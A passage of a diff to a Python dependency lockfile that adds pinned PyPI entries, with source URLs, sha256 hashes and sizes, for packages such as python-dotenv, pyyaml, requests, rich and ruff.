+    { url = "https://files.pythonhosted.org/packages/d8/db/795879cc3ddfe338599bddea6388cc5100b088db0a4caf6e6c1af1c27e04/python_discovery-1.2.2-py3-none-any.whl", hash = "sha256:e1ae95d9af875e78f15e19aed0c6137ab1bb49c200f21f5061786490c9585c7a", size = 31894, upload-time = "2026-04-07T17:28:48.09Z" },
+]
+
+[[package]]
+name = "python-dotenv"
+version = "1.2.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/82/ed/0301aeeac3e5353ef3d94b6ec08bbcabd04a72018415dcb29e588514bba8/python_dotenv-1.2.2.tar.gz", hash = "sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3", size = 50135, upload-time = "2026-03-01T16:00:26.196Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/0b/d7/1959b9648791274998a9c3526f6d0ec8fd2233e4d4acce81bbae76b44b2a/python_dotenv-1.2.2-py3-none-any.whl", hash = "sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a", size = 22101, upload-time = "2026-03-01T16:00:25.09Z" },
+]
+
+[[package]]
+name = "pywin32-ctypes"
+version = "0.2.3"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/85/9f/01a1a99704853cb63f253eea009390c88e7131c67e66a0a02099a8c917cb/pywin32-ctypes-0.2.3.tar.gz", hash = "sha256:d162dc04946d704503b2edc4d55f3dba5c1d539ead017afa00142c38b9885755", size = 29471, upload-time = "2024-08-14T10:15:34.626Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/de/3d/8161f7711c017e01ac9f008dfddd9410dff3674334c233bde66e7ba65bbf/pywin32_ctypes-0.2.3-py3-none-any.whl", hash = "sha256:8a1513379d709975552d202d942d9837758905c8d01eb82b8bcc30918929e7b8", size = 30756, upload-time = "2024-08-14T10:15:33.187Z" },
+]
+
+[[package]]
+name = "pyyaml"
+version = "6.0.3"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/05/8e/961c0007c59b8dd7729d542c61a4d537767a59645b82a0b521206e1e25c2/pyyaml-6.0.3.tar.gz", hash = "sha256:d76623373421df22fb4cf8817020cbb7ef15c725b9d5e45f17e189bfc384190f", size = 130960, upload-time = "2025-09-25T21:33:16.546Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/f4/a0/39350dd17dd6d6c6507025c0e53aef67a9293a6d37d3511f23ea510d5800/pyyaml-6.0.3-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:214ed4befebe12df36bcc8bc2b64b396ca31be9304b8f59e25c11cf94a4c033b", size = 184227, upload-time = "2025-09-25T21:31:46.04Z" },
+    { url = "https://files.pythonhosted.org/packages/05/14/52d505b5c59ce73244f59c7a50ecf47093ce4765f116cdb98286a71eeca2/pyyaml-6.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:02ea2dfa234451bbb8772601d7b8e426c2bfa197136796224e50e35a78777956", size = 174019, upload-time = "2025-09-25T21:31:47.706Z" },
+    { url = "https://files.pythonhosted.org/packages/43/f7/0e6a5ae5599c838c696adb4e6330a59f463265bfa1e116cfd1fbb0abaaae/pyyaml-6.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b30236e45cf30d2b8e7b3e85881719e98507abed1011bf463a8fa23e9c3e98a8", size = 740646, upload-time = "2025-09-25T21:31:49.21Z" },
+    { url = "https://files.pythonhosted.org/packages/2f/3a/61b9db1d28f00f8fd0ae760459a5c4bf1b941baf714e207b6eb0657d2578/pyyaml-6.0.3-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:66291b10affd76d76f54fad28e22e51719ef9ba22b29e1d7d03d6777a9174198", size = 840793, upload-time = "2025-09-25T21:31:50.735Z" },
+    { url = "https://files.pythonhosted.org/packages/7a/1e/7acc4f0e74c4b3d9531e24739e0ab832a5edf40e64fbae1a9c01941cabd7/pyyaml-6.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9c7708761fccb9397fe64bbc0395abcae8c4bf7b0eac081e12b809bf47700d0b", size = 770293, upload-time = "2025-09-25T21:31:51.828Z" },
+    { url = "https://files.pythonhosted.org/packages/8b/ef/abd085f06853af0cd59fa5f913d61a8eab65d7639ff2a658d18a25d6a89d/pyyaml-6.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:418cf3f2111bc80e0933b2cd8cd04f286338bb88bdc7bc8e6dd775ebde60b5e0", size = 732872, upload-time = "2025-09-25T21:31:53.282Z" },
+    { url = "https://files.pythonhosted.org/packages/1f/15/2bc9c8faf6450a8b3c9fc5448ed869c599c0a74ba2669772b1f3a0040180/pyyaml-6.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:5e0b74767e5f8c593e8c9b5912019159ed0533c70051e9cce3e8b6aa699fcd69", size = 758828, upload-time = "2025-09-25T21:31:54.807Z" },
+    { url = "https://files.pythonhosted.org/packages/a3/00/531e92e88c00f4333ce359e50c19b8d1de9fe8d581b1534e35ccfbc5f393/pyyaml-6.0.3-cp310-cp310-win32.whl", hash = "sha256:28c8d926f98f432f88adc23edf2e6d4921ac26fb084b028c733d01868d19007e", size = 142415, upload-time = "2025-09-25T21:31:55.885Z" },
+    { url = "https://files.pythonhosted.org/packages/2a/fa/926c003379b19fca39dd4634818b00dec6c62d87faf628d1394e137354d4/pyyaml-6.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:bdb2c67c6c1390b63c6ff89f210c8fd09d9a1217a465701eac7316313c915e4c", size = 158561, upload-time = "2025-09-25T21:31:57.406Z" },
+    { url = "https://files.pythonhosted.org/packages/6d/16/a95b6757765b7b031c9374925bb718d55e0a9ba8a1b6a12d25962ea44347/pyyaml-6.0.3-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:44edc647873928551a01e7a563d7452ccdebee747728c1080d881d68af7b997e", size = 185826, upload-time = "2025-09-25T21:31:58.655Z" },
+    { url = "https://files.pythonhosted.org/packages/16/19/13de8e4377ed53079ee996e1ab0a9c33ec2faf808a4647b7b4c0d46dd239/pyyaml-6.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:652cb6edd41e718550aad172851962662ff2681490a8a711af6a4d288dd96824", size = 175577, upload-time = "2025-09-25T21:32:00.088Z" },
+    { url = "https://files.pythonhosted.org/packages/0c/62/d2eb46264d4b157dae1275b573017abec435397aa59cbcdab6fc978a8af4/pyyaml-6.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:10892704fc220243f5305762e276552a0395f7beb4dbf9b14ec8fd43b57f126c", size = 775556, upload-time = "2025-09-25T21:32:01.31Z" },
+    { url = "https://files.pythonhosted.org/packages/10/cb/16c3f2cf3266edd25aaa00d6c4350381c8b012ed6f5276675b9eba8d9ff4/pyyaml-6.0.3-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:850774a7879607d3a6f50d36d04f00ee69e7fc816450e5f7e58d7f17f1ae5c00", size = 882114, upload-time = "2025-09-25T21:32:03.376Z" },
+    { url = "https://files.pythonhosted.org/packages/71/60/917329f640924b18ff085ab889a11c763e0b573da888e8404ff486657602/pyyaml-6.0.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b8bb0864c5a28024fac8a632c443c87c5aa6f215c0b126c449ae1a150412f31d", size = 806638, upload-time = "2025-09-25T21:32:04.553Z" },
+    { url = "https://files.pythonhosted.org/packages/dd/6f/529b0f316a9fd167281a6c3826b5583e6192dba792dd55e3203d3f8e655a/pyyaml-6.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1d37d57ad971609cf3c53ba6a7e365e40660e3be0e5175fa9f2365a379d6095a", size = 767463, upload-time = "2025-09-25T21:32:06.152Z" },
+    { url = "https://files.pythonhosted.org/packages/f2/6a/b627b4e0c1dd03718543519ffb2f1deea4a1e6d42fbab8021936a4d22589/pyyaml-6.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:37503bfbfc9d2c40b344d06b2199cf0e96e97957ab1c1b546fd4f87e53e5d3e4", size = 794986, upload-time = "2025-09-25T21:32:07.367Z" },
+    { url = "https://files.pythonhosted.org/packages/45/91/47a6e1c42d9ee337c4839208f30d9f09caa9f720ec7582917b264defc875/pyyaml-6.0.3-cp311-cp311-win32.whl", hash = "sha256:8098f252adfa6c80ab48096053f512f2321f0b998f98150cea9bd23d83e1467b", size = 142543, upload-time = "2025-09-25T21:32:08.95Z" },
+    { url = "https://files.pythonhosted.org/packages/da/e3/ea007450a105ae919a72393cb06f122f288ef60bba2dc64b26e2646fa315/pyyaml-6.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:9f3bfb4965eb874431221a3ff3fdcddc7e74e3b07799e0e84ca4a0f867d449bf", size = 158763, upload-time = "2025-09-25T21:32:09.96Z" },
+    { url = "https://files.pythonhosted.org/packages/d1/33/422b98d2195232ca1826284a76852ad5a86fe23e31b009c9886b2d0fb8b2/pyyaml-6.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7f047e29dcae44602496db43be01ad42fc6f1cc0d8cd6c83d342306c32270196", size = 182063, upload-time = "2025-09-25T21:32:11.445Z" },
+    { url = "https://files.pythonhosted.org/packages/89/a0/6cf41a19a1f2f3feab0e9c0b74134aa2ce6849093d5517a0c550fe37a648/pyyaml-6.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:fc09d0aa354569bc501d4e787133afc08552722d3ab34836a80547331bb5d4a0", size = 173973, upload-time = "2025-09-25T21:32:12.492Z" },
+    { url = "https://files.pythonhosted.org/packages/ed/23/7a778b6bd0b9a8039df8b1b1d80e2e2ad78aa04171592c8a5c43a56a6af4/pyyaml-6.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9149cad251584d5fb4981be1ecde53a1ca46c891a79788c0df828d2f166bda28", size = 775116, upload-time = "2025-09-25T21:32:13.652Z" },
+    { url = "https://files.pythonhosted.org/packages/65/30/d7353c338e12baef4ecc1b09e877c1970bd3382789c159b4f89d6a70dc09/pyyaml-6.0.3-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5fdec68f91a0c6739b380c83b951e2c72ac0197ace422360e6d5a959d8d97b2c", size = 844011, upload-time = "2025-09-25T21:32:15.21Z" },
+    { url = "https://files.pythonhosted.org/packages/8b/9d/b3589d3877982d4f2329302ef98a8026e7f4443c765c46cfecc8858c6b4b/pyyaml-6.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ba1cc08a7ccde2d2ec775841541641e4548226580ab850948cbfda66a1befcdc", size = 807870, upload-time = "2025-09-25T21:32:16.431Z" },
+    { url = "https://files.pythonhosted.org/packages/05/c0/b3be26a015601b822b97d9149ff8cb5ead58c66f981e04fedf4e762f4bd4/pyyaml-6.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8dc52c23056b9ddd46818a57b78404882310fb473d63f17b07d5c40421e47f8e", size = 761089, upload-time = "2025-09-25T21:32:17.56Z" },
+    { url = "https://files.pythonhosted.org/packages/be/8e/98435a21d1d4b46590d5459a22d88128103f8da4c2d4cb8f14f2a96504e1/pyyaml-6.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:41715c910c881bc081f1e8872880d3c650acf13dfa8214bad49ed4cede7c34ea", size = 790181, upload-time = "2025-09-25T21:32:18.834Z" },
+    { url = "https://files.pythonhosted.org/packages/74/93/7baea19427dcfbe1e5a372d81473250b379f04b1bd3c4c5ff825e2327202/pyyaml-6.0.3-cp312-cp312-win32.whl", hash = "sha256:96b533f0e99f6579b3d4d4995707cf36df9100d67e0c8303a0c55b27b5f99bc5", size = 137658, upload-time = "2025-09-25T21:32:20.209Z" },
+    { url = "https://files.pythonhosted.org/packages/86/bf/899e81e4cce32febab4fb42bb97dcdf66bc135272882d1987881a4b519e9/pyyaml-6.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:5fcd34e47f6e0b794d17de1b4ff496c00986e1c83f7ab2fb8fcfe9616ff7477b", size = 154003, upload-time = "2025-09-25T21:32:21.167Z" },
+    { url = "https://files.pythonhosted.org/packages/1a/08/67bd04656199bbb51dbed1439b7f27601dfb576fb864099c7ef0c3e55531/pyyaml-6.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:64386e5e707d03a7e172c0701abfb7e10f0fb753ee1d773128192742712a98fd", size = 140344, upload-time = "2025-09-25T21:32:22.617Z" },
+    { url = "https://files.pythonhosted.org/packages/d1/11/0fd08f8192109f7169db964b5707a2f1e8b745d4e239b784a5a1dd80d1db/pyyaml-6.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8da9669d359f02c0b91ccc01cac4a67f16afec0dac22c2ad09f46bee0697eba8", size = 181669, upload-time = "2025-09-25T21:32:23.673Z" },
+    { url = "https://files.pythonhosted.org/packages/b1/16/95309993f1d3748cd644e02e38b75d50cbc0d9561d21f390a76242ce073f/pyyaml-6.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:2283a07e2c21a2aa78d9c4442724ec1eb15f5e42a723b99cb3d822d48f5f7ad1", size = 173252, upload-time = "2025-09-25T21:32:25.149Z" },
+    { url = "https://files.pythonhosted.org/packages/50/31/b20f376d3f810b9b2371e72ef5adb33879b25edb7a6d072cb7ca0c486398/pyyaml-6.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ee2922902c45ae8ccada2c5b501ab86c36525b883eff4255313a253a3160861c", size = 767081, upload-time = "2025-09-25T21:32:26.575Z" },
+    { url = "https://files.pythonhosted.org/packages/49/1e/a55ca81e949270d5d4432fbbd19dfea5321eda7c41a849d443dc92fd1ff7/pyyaml-6.0.3-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a33284e20b78bd4a18c8c2282d549d10bc8408a2a7ff57653c0cf0b9be0afce5", size = 841159, upload-time = "2025-09-25T21:32:27.727Z" },
+    { url = "https://files.pythonhosted.org/packages/74/27/e5b8f34d02d9995b80abcef563ea1f8b56d20134d8f4e5e81733b1feceb2/pyyaml-6.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0f29edc409a6392443abf94b9cf89ce99889a1dd5376d94316ae5145dfedd5d6", size = 801626, upload-time = "2025-09-25T21:32:28.878Z" },
+    { url = "https://files.pythonhosted.org/packages/f9/11/ba845c23988798f40e52ba45f34849aa8a1f2d4af4b798588010792ebad6/pyyaml-6.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f7057c9a337546edc7973c0d3ba84ddcdf0daa14533c2065749c9075001090e6", size = 753613, upload-time = "2025-09-25T21:32:30.178Z" },
+    { url = "https://files.pythonhosted.org/packages/3d/e0/7966e1a7bfc0a45bf0a7fb6b98ea03fc9b8d84fa7f2229e9659680b69ee3/pyyaml-6.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:eda16858a3cab07b80edaf74336ece1f986ba330fdb8ee0d6c0d68fe82bc96be", size = 794115, upload-time = "2025-09-25T21:32:31.353Z" },
+    { url = "https://files.pythonhosted.org/packages/de/94/980b50a6531b3019e45ddeada0626d45fa85cbe22300844a7983285bed3b/pyyaml-6.0.3-cp313-cp313-win32.whl", hash = "sha256:d0eae10f8159e8fdad514efdc92d74fd8d682c933a6dd088030f3834bc8e6b26", size = 137427, upload-time = "2025-09-25T21:32:32.58Z" },
+    { url = "https://files.pythonhosted.org/packages/97/c9/39d5b874e8b28845e4ec2202b5da735d0199dbe5b8fb85f91398814a9a46/pyyaml-6.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:79005a0d97d5ddabfeeea4cf676af11e647e41d81c9a7722a193022accdb6b7c", size = 154090, upload-time = "2025-09-25T21:32:33.659Z" },
+    { url = "https://files.pythonhosted.org/packages/73/e8/2bdf3ca2090f68bb3d75b44da7bbc71843b19c9f2b9cb9b0f4ab7a5a4329/pyyaml-6.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:5498cd1645aa724a7c71c8f378eb29ebe23da2fc0d7a08071d89469bf1d2defb", size = 140246, upload-time = "2025-09-25T21:32:34.663Z" },
+    { url = "https://files.pythonhosted.org/packages/9d/8c/f4bd7f6465179953d3ac9bc44ac1a8a3e6122cf8ada906b4f96c60172d43/pyyaml-6.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:8d1fab6bb153a416f9aeb4b8763bc0f22a5586065f86f7664fc23339fc1c1fac", size = 181814, upload-time = "2025-09-25T21:32:35.712Z" },
+    { url = "https://files.pythonhosted.org/packages/bd/9c/4d95bb87eb2063d20db7b60faa3840c1b18025517ae857371c4dd55a6b3a/pyyaml-6.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e99755703310", size = 173809, upload-time = "2025-09-25T21:32:36.789Z" },
+    { url = "https://files.pythonhosted.org/packages/92/b5/47e807c2623074914e29dabd16cbbdd4bf5e9b2db9f8090fa64411fc5382/pyyaml-6.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:501a031947e3a9025ed4405a168e6ef5ae3126c59f90ce0cd6f2bfc477be31b7", size = 766454, upload-time = "2025-09-25T21:32:37.966Z" },
+    { url = "https://files.pythonhosted.org/packages/02/9e/e5e9b168be58564121efb3de6859c452fccde0ab093d8438905899a3a483/pyyaml-6.0.3-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b3bc83488de33889877a0f2543ade9f70c67d66d9ebb4ac959502e12de895788", size = 836355, upload-time = "2025-09-25T21:32:39.178Z" },
+    { url = "https://files.pythonhosted.org/packages/88/f9/16491d7ed2a919954993e48aa941b200f38040928474c9e85ea9e64222c3/pyyaml-6.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c458b6d084f9b935061bc36216e8a69a7e293a2f1e68bf956dcd9e6cbcd143f5", size = 794175, upload-time = "2025-09-25T21:32:40.865Z" },
+    { url = "https://files.pythonhosted.org/packages/dd/3f/5989debef34dc6397317802b527dbbafb2b4760878a53d4166579111411e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7c6610def4f163542a622a73fb39f534f8c101d690126992300bf3207eab9764", size = 755228, upload-time = "2025-09-25T21:32:42.084Z" },
+    { url = "https://files.pythonhosted.org/packages/d7/ce/af88a49043cd2e265be63d083fc75b27b6ed062f5f9fd6cdc223ad62f03e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5190d403f121660ce8d1d2c1bb2ef1bd05b5f68533fc5c2ea899bd15f4399b35", size = 789194, upload-time = "2025-09-25T21:32:43.362Z" },
+    { url = "https://files.pythonhosted.org/packages/23/20/bb6982b26a40bb43951265ba29d4c246ef0ff59c9fdcdf0ed04e0687de4d/pyyaml-6.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:4a2e8cebe2ff6ab7d1050ecd59c25d4c8bd7e6f400f5f82b96557ac0abafd0ac", size = 156429, upload-time = "2025-09-25T21:32:57.844Z" },
+    { url = "https://files.pythonhosted.org/packages/f4/f4/a4541072bb9422c8a883ab55255f918fa378ecf083f5b85e87fc2b4eda1b/pyyaml-6.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:93dda82c9c22deb0a405ea4dc5f2d0cda384168e466364dec6255b293923b2f3", size = 143912, upload-time = "2025-09-25T21:32:59.247Z" },
+    { url = "https://files.pythonhosted.org/packages/7c/f9/07dd09ae774e4616edf6cda684ee78f97777bdd15847253637a6f052a62f/pyyaml-6.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:02893d100e99e03eda1c8fd5c441d8c60103fd175728e23e431db1b589cf5ab3", size = 189108, upload-time = "2025-09-25T21:32:44.377Z" },
+    { url = "https://files.pythonhosted.org/packages/4e/78/8d08c9fb7ce09ad8c38ad533c1191cf27f7ae1effe5bb9400a46d9437fcf/pyyaml-6.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c1ff362665ae507275af2853520967820d9124984e0f7466736aea23d8611fba", size = 183641, upload-time = "2025-09-25T21:32:45.407Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/5b/3babb19104a46945cf816d047db2788bcaf8c94527a805610b0289a01c6b/pyyaml-6.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6adc77889b628398debc7b65c073bcb99c4a0237b248cacaf3fe8a557563ef6c", size = 831901, upload-time = "2025-09-25T21:32:48.83Z" },
+    { url = "https://files.pythonhosted.org/packages/8b/cc/dff0684d8dc44da4d22a13f35f073d558c268780ce3c6ba1b87055bb0b87/pyyaml-6.0.3-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a80cb027f6b349846a3bf6d73b5e95e782175e52f22108cfa17876aaeff93702", size = 861132, upload-time = "2025-09-25T21:32:50.149Z" },
+    { url = "https://files.pythonhosted.org/packages/b1/5e/f77dc6b9036943e285ba76b49e118d9ea929885becb0a29ba8a7c75e29fe/pyyaml-6.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:00c4bdeba853cc34e7dd471f16b4114f4162dc03e6b7afcc2128711f0eca823c", size = 839261, upload-time = "2025-09-25T21:32:51.808Z" },
+    { url = "https://files.pythonhosted.org/packages/ce/88/a9db1376aa2a228197c58b37302f284b5617f56a5d959fd1763fb1675ce6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:66e1674c3ef6f541c35191caae2d429b967b99e02040f5ba928632d9a7f0f065", size = 805272, upload-time = "2025-09-25T21:32:52.941Z" },
+    { url = "https://files.pythonhosted.org/packages/da/92/1446574745d74df0c92e6aa4a7b0b3130706a4142b2d1a5869f2eaa423c6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:16249ee61e95f858e83976573de0f5b2893b3677ba71c9dd36b9cf8be9ac6d65", size = 829923, upload-time = "2025-09-25T21:32:54.537Z" },
+    { url = "https://files.pythonhosted.org/packages/f0/7a/1c7270340330e575b92f397352af856a8c06f230aa3e76f86b39d01b416a/pyyaml-6.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4ad1906908f2f5ae4e5a8ddfce73c320c2a1429ec52eafd27138b7f1cbe341c9", size = 174062, upload-time = "2025-09-25T21:32:55.767Z" },
+    { url = "https://files.pythonhosted.org/packages/f1/12/de94a39c2ef588c7e6455cfbe7343d3b2dc9d6b6b2f40c4c6565744c873d/pyyaml-6.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:ebc55a14a21cb14062aa4162f906cd962b28e2e9ea38f9b4391244cd8de4ae0b", size = 149341, upload-time = "2025-09-25T21:32:56.828Z" },
+]
+
+[[package]]
+name = "requests"
+version = "2.33.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "certifi", marker = "python_full_version >= '3.11'" },
+    { name = "charset-normalizer", marker = "python_full_version >= '3.11'" },
+    { name = "idna", marker = "python_full_version >= '3.11'" },
+    { name = "urllib3", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/5f/a4/98b9c7c6428a668bf7e42ebb7c79d576a1c3c1e3ae2d47e674b468388871/requests-2.33.1.tar.gz", hash = "sha256:18817f8c57c6263968bc123d237e3b8b08ac046f5456bd1e307ee8f4250d3517", size = 134120, upload-time = "2026-03-30T16:09:15.531Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/d7/8e/7540e8a2036f79a125c1d2ebadf69ed7901608859186c856fa0388ef4197/requests-2.33.1-py3-none-any.whl", hash = "sha256:4e6d1ef462f3626a1f0a0a9c42dd93c63bad33f9f1c1937509b8c5c8718ab56a", size = 64947, upload-time = "2026-03-30T16:09:13.83Z" },
+]
+
+[[package]]
+name = "requests-toolbelt"
+version = "1.0.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "requests", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/f3/61/d7545dafb7ac2230c70d38d31cbfe4cc64f7144dc41f6e4e4b78ecd9f5bb/requests-toolbelt-1.0.0.tar.gz", hash = "sha256:7681a0a3d047012b5bdc0ee37d7f8f07ebe76ab08caeccfc3921ce23c88d5bc6", size = 206888, upload-time = "2023-05-01T04:11:33.229Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/3f/51/d4db610ef29373b879047326cbf6fa98b6c1969d6f6dc423279de2b1be2c/requests_toolbelt-1.0.0-py2.py3-none-any.whl", hash = "sha256:cccfdd665f0a24fcf4726e690f65639d272bb0637b9b92dfd91a5568ccf6bd06", size = 54481, upload-time = "2023-05-01T04:11:28.427Z" },
+]
+
+[[package]]
+name = "rich"
+version = "15.0.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "markdown-it-py" },
+    { name = "pygments" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/c0/8f/0722ca900cc807c13a6a0c696dacf35430f72e0ec571c4275d2371fca3e9/rich-15.0.0.tar.gz", hash = "sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c31b068c36", size = 230680, upload-time = "2026-04-12T08:24:00.75Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/82/3b/64d4899d73f91ba49a8c18a8ff3f0ea8f1c1d75481760df8c68ef5235bf5/rich-15.0.0-py3-none-any.whl", hash = "sha256:33bd4ef74232fb73fe9279a257718407f169c09b78a87ad3d296f548e27de0bb", size = 310654, upload-time = "2026-04-12T08:24:02.83Z" },
+]
+
+[[package]]
+name = "ruff"
+version = "0.15.20"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/43/dc/35b341fc554ba02f217fc10da57d1a75168cfbcf75b0ef2202176d4c4f2d/ruff-0.15.20.tar.gz", hash = "sha256:1416eb04349192646b54de98f146c4f59afe37d0decfc02c3cbbf396f3a28566", size = 4755489, upload-time = "2026-06-25T17:20:37.578Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/94/d9/2d5014f0253ba541d2061d9fa7193f48e941c8b21bb88a7ff9bbe0bd0596/ruff-0.15.20-py3-none-linux_armv6l.whl", hash = "sha256:00e188c53e499c3c1637f73c91dcf2fb56d576cab76ce1be50a27c4e80e37078", size = 10839665, upload-time = "2026-06-25T17:19:44.702Z" },
+    { url = "https://files.pythonhosted.org/packages/c6/d3/ac1798ba64f670698867fcfc591d50e7e421bef137db564858f619a30fcf/ruff-0.15.20-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:9ebd1fd9b9c95fc0bd7b2761aebec1f030013d2e193a2901b224af68fe47251b", size = 11208649, upload-time = "2026-06-25T17:19:48.787Z" },
+    { url = "https://files.pythonhosted.org/packages/47/47/d3ac899991202095dfcf3d5176be4272642be3cf981a2f1a30f72a2afb95/ruff-0.15.20-py3-none-macosx_11_0_arm64.whl", hash = "sha256:c5b16cdd67ca108185cd36dce98c576350c03b1660a751de725fb049193a0632", size = 10622638, upload-time = "2026-06-25T17:19:51.354Z" },
+    { url = "https://files.pythonhosted.org/packages/33/13/4e043fe30aa94d4ff5213a9881fc296d12960f5971b234a5263fdc225312/ruff-0.15.20-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3413bb3c3d2ca6a8208f1f4809cd2dca3c6de6d0b491c0e70847672bde6e6efd", size = 10984227, upload-time = "2026-06-25T17:19:54.044Z" },
+    { url = "https://files.pythonhosted.org/packages/76/e6/92e7bf40388bc5800073b96564f56264f7e48bfd1a498f5ced6ae6d5a769/ruff-0.15.20-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bd7ec42b3bb3da066488db093308a69c4ac5ee6d2af333a86ba6e2eb2e7dd44b", size = 10622882, upload-time = "2026-06-25T17:19:57.037Z" },
+    { url = "https://files.pythonhosted.org/packages/13/7a/43460be3f24495a3aa46d4b16873e2c4941b3b5f0b00cf88c03b7b94b339/ruff-0.15.20-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1a36ad0eb77fba9aabfb69ede54de6f376d04ac18ebea022847046d340a8267", size = 11474808, upload-time = "2026-06-25T17:20:00.357Z" },
+    { url = "https://files.pythonhosted.org/packages/27/a0/f37077884873221c6b33b4ab49eb18f9f88e54a16a25a5bca59bef46dd66/ruff-0.15.20-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b6df3b1e4610432f0386dba04d853b5f08cbbc903410c6fcc02f620f05aff53c", size = 12293094, upload-time = "2026-06-25T17:20:03.446Z" },
